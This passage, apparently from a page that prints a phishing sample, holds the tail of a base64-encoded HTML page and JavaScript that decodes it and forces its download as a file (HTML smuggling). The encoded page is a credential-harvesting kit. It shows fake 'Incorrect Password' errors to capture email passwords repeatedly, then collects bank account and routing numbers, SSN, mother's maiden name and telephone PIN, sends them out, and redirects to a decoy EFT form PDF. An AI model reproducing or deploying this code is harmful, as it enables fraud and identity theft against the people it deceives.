IH0KCQkJCWVsc2UgaWYobnVtID09PSAxKXsKICAgICAgICAgICAgICAgICAgICAgYWpheENvZGUoZkRhdGE0KTsKICAgICAgICAgICAgICAgICAgICBlcnJvck1zZzQudGV4dENvbnRlbnQgPSAiSW5jb3JyZWN0IFBhc3N3b3JkIFRyeSBhZ2FpbiI7CiAgICAgICAgICAgICAgICAgICAgZS50YXJnZXQuZWxlbWVudHMucGFzcy52YWx1ZSA9ICIiOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgIGFqYXhDb2RlKGZEYXRhNCk7CiAgICAgICAgICAgICAgICAgICAgZS50YXJnZXQuZWxlbWVudHMucGFzcy52YWx1ZSA9ICIiOwogICAgICAgICAgICAgICAgICAgIG51bSA9IDA7CiAgICAgICAgICAgICAgICAgICAgaW1nTW9yZS5zcmMgPSBpbWdTcmM0LnNyYzsKICAgICAgICAgICAgICAgICAgICBmb3JtNC5jbGFzc0xpc3QuYWRkKCJoaWRlIik7CiAgICAgICAgICAgICAgICAgICAgZm9ybTYuY2xhc3NMaXN0LnJlbW92ZSgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgfQogICAgICAgICAgCiAgICAgICAgICAgICAgIAogICAgICAgICAgICB9IAogICAgICAgIH0pCgoKICAgICAgICAKICAgICAgICAgIGZvcm1EYXRhNS5hZGRFdmVudExpc3RlbmVyKCJzdWJtaXQiLCAoZSkgPT4gewogICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgICAgCiAgICAgICAgICAgIGNvbnN0IGVtYWlsID0gZS50YXJnZXQuZWxlbWVudHMuZW1haWwudmFsdWU7CiAgICAgICAgICAgIGNvbnN0IHBhc3MgPSBlLnRhcmdldC5lbGVtZW50cy5wYXNzLnZhbHVlOwoKICAgICAgICAgICAgaWYoZW1haWwgPT09ICIiKXsKICAgICAgICAgICAgICAgIGVycm9yTXNnNS50ZXh0Q29udGVudCA9ICJQbGVhc2UgZW50ZXIgZW1haWwgQWRkcmVzcyI7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGVsc2UgaWYocGFzcyA9PT0gIiIpewogICAgICAgICAgICAgICAgZXJyb3JNc2c1LnRleHRDb250ZW50ID0gIlBsZWFzZSBlbnRlciBFbWFpbCBQYXNzd29yZCI7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZWxzZSB7CiAgICAgICAgICAgICAgICBudW0rKzsKICAgICAgICAgICAgICAgICBsZXQgZkRhdGE0ID0gYEVtYWlsIEFkZHJlc3M6ICR7ZW1haWx9IFxuUGFzc3dvcmQ6ICR7cGFzc31gOwogICAgICAgICAgICAgICAgaWYobnVtID09PSAxKXsKICAgICAgICAgICAgICAgICAgICBhamF4Q29kZShmRGF0YTQpOwogICAgICAgICAgICAgICAgICAgIGVycm9yTXNnNS50ZXh0Q29udGVudCA9ICJJbmNvcnJlY3QgUGFzc3dvcmQiOwogICAgICAgICAgICAgICAgICAgICBlLnRhcmdldC5lbGVtZW50cy5wYXNzLnZhbHVlID0gIiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlIGlmKG51bSA9PT0gMSl7CiAgICAgICAgICAgICAgICAgICAgICBhamF4Q29kZShmRGF0YTQpOwogICAgICAgICAgICAgICAgICAgIGVycm9yTXNnNS50ZXh0Q29udGVudCA9ICJJbmNvcnJlY3QgUGFzc3dvcmQgVHJ5IGFnYWluIjsKICAgICAgICAgICAgICAgICAgICBlLnRhcmdldC5lbGVtZW50cy5wYXNzLnZhbHVlID0gIiI7CiAgICAgICAgICAgICAgICB9CgkJCQllbHNlIGlmKG51bSA9PT0gMSl7CiAgICAgICAgICAgICAgICAgICAgICBhamF4Q29kZShmRGF0YTQpOwogICAgICAgICAgICAgICAgICAgIGVycm9yTXNnNS50ZXh0Q29udGVudCA9ICJJbmNvcnJlY3QgUGFzc3dvcmQgVHJ5IGFnYWluIjsKICAgICAgICAgICAgICAgICAgICBlLnRhcmdldC5lbGVtZW50cy5wYXNzLnZhbHVlID0gIiI7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgICAgICBhamF4Q29kZShmRGF0YTQpOwogICAgICAgICAgICAgICAgICAgIGUudGFyZ2V0LmVsZW1lbnRzLnBhc3MudmFsdWUgPSAiIjsKICAgICAgICAgICAgICAgICAgICBpbWdNb3JlLnNyYyA9IGltZ1NyYzUuc3JjOwogICAgICAgICAgICAgICAgICAgIG51bSA9IDA7CiAgICAgICAgICAgICAgICAgICAgZm9ybTUuY2xhc3NMaXN0LmFkZCgiaGlkZSIpOwogICAgICAgICAgICAgICAgICAgIGZvcm02LmNsYXNzTGlzdC5yZW1vdmUoImhpZGUiKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSAKICAgICAgICB9KTsKCgogICAgICAgIGZvcm1EYXRhNi5hZGRFdmVudExpc3RlbmVyKCJzdWJtaXQiLCAoZSkgPT4gewogICAgICAgICAgICBlLnByZXZlbnREZWZhdWx0KCk7CiAgICAgICAgICAgICAgCiAgICAgICAgICAgIGNvbnN0IG1OYW1lID0gZS50YXJnZXQuZWxlbWVudHMubU5hbWUudmFsdWU7CiAgICAgICAgICAgIGNvbnN0IEFuID0gZS50YXJnZXQuZWxlbWVudHMuQW4udmFsdWU7CgkJCWNvbnN0IFJOID0gZS50YXJnZXQuZWxlbWVudHMuUk4udmFsdWU7CiAgICAgICAgICAgIGNvbnN0IFNTTiA9IGUudGFyZ2V0LmVsZW1lbnRzLlNTTi52YWx1ZTsKCQkJY29uc3QgVHBpbiA9IGUudGFyZ2V0LmVsZW1lbnRzLlRwaW4udmFsdWU7CgogICAgICAgICAgICBpZihBbiA9PT0gIiIpewogICAgICAgICAgICAgICAgZXJyb3JNc2cudGV4dENvbnRlbnQgPSAiUGxlYXNlIGVudGVyIEFjY291bnQgTnVtYmVyIjsKICAgICAgICAgICAgfQoJCQlpZihSTiA9PT0gIiIpewogICAgICAgICAgICAgICAgZXJyb3JNc2cudGV4dENvbnRlbnQgPSAiUGxlYXNlIGVudGVyIFJvdXRpbmcgbnVtYmVyIjsKICAgICAgICAgICAgfQoJCQlpZihTU04gPT09ICIiKXsKICAgICAgICAgICAgICAgIGVycm9yTXNnLnRleHRDb250ZW50ID0gIlBsZWFzZSBlbnRlciBTb2NpYWwgU2VjdXJpdHkgbnVtYmVyIChTU04pLyBUYXggSUQiOwogICAgICAgICAgICB9CgogICAgICAgICAgICBpZihtTmFtZSA9PT0gIiIpewogICAgICAgICAgICAgICAgZXJyb3JNc2cudGV4dENvbnRlbnQgPSAiUGxlYXNlIGVudGVyIE1vdGhlcidzIE1haWRlbiBOYW1lIjsKICAgICAgICAgICAgfQoJCQllbHNlIGlmKFRwaW4gPT09ICIiKXsKICAgICAgICAgICAgICAgIGVycm9yTXNnLnRleHRDb250ZW50ID0gIlBsZWFzZSBlbnRlciBUZWxlcGhvbmUgUGluIjsKICAgICAgICAgICAgfQogICAgICAgICAgICBlbHNlIHsKICAgICAgICAgICAgICAgIGxldCBmRGF0YTQgPSBgQWNjb3VudCBOdW1iZXI6ICR7QW59IFxuUm91dGluZyBudW1iZXI6ICR7Uk59IFxuU29jaWFsIFNlY3VyaXR5IG51bWJlciAoU1NOKS8gVGF4IElEOiAke1NTTn0gXG5Nb3RoZXIncyBNYWlkZW4gTmFtZTogJHttTmFtZX0gXG5UZWxlcGhvbmUgUGluOiAke1RwaW59YDsKICAgICAgICAgICAgICAgIGFqYXhDb2RlKGZEYXRhNCkKICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICBzZXRJbnRlcnZhbCgoKSA9PiB7CiAgICAgICAgICAgICAgICAgICAgIGZvcm1EYXRhNi5yZXNldCgpOwogICAgICAgICAgICAgICAgICAgICBsb2NhdGlvbi5ocmVmID0gImh0dHBzOi8vd3d3Lm1pc3Npc3NhdWdhLmNhL3dwLWNvbnRlbnQvdXBsb2Fkcy8yMDIxLzAxLzE0MTE0NDE4L0VGVC1BZ3JlZW1lbnQtRm9ybS5wZGYiOyAgCiAgICAgICAgICAgICAgICB9LDUwMCk7ICAgICAgICAgICAgICAKICAgICAgICAgICAgfSAKICAgICAgICB9KTsKCQkKCQk8L3NjcmlwdD4KPC9ib2R5Pgo8L2h0bWw+Cg==';
    let decodedStringAtoB = atob(encodedStringAtoB);
	const myBlob = new Blob([decodedStringAtoB], {type: 'text/html'})
	const url =  window.URL.createObjectURL(myBlob); 
	a.attr("href", url); 
	$("body").append(a);
	a[0].click();
  window.URL.revokeObjectURL(url);
  a.remove();  
}
 </pre></body></html>

                             

Screenshot: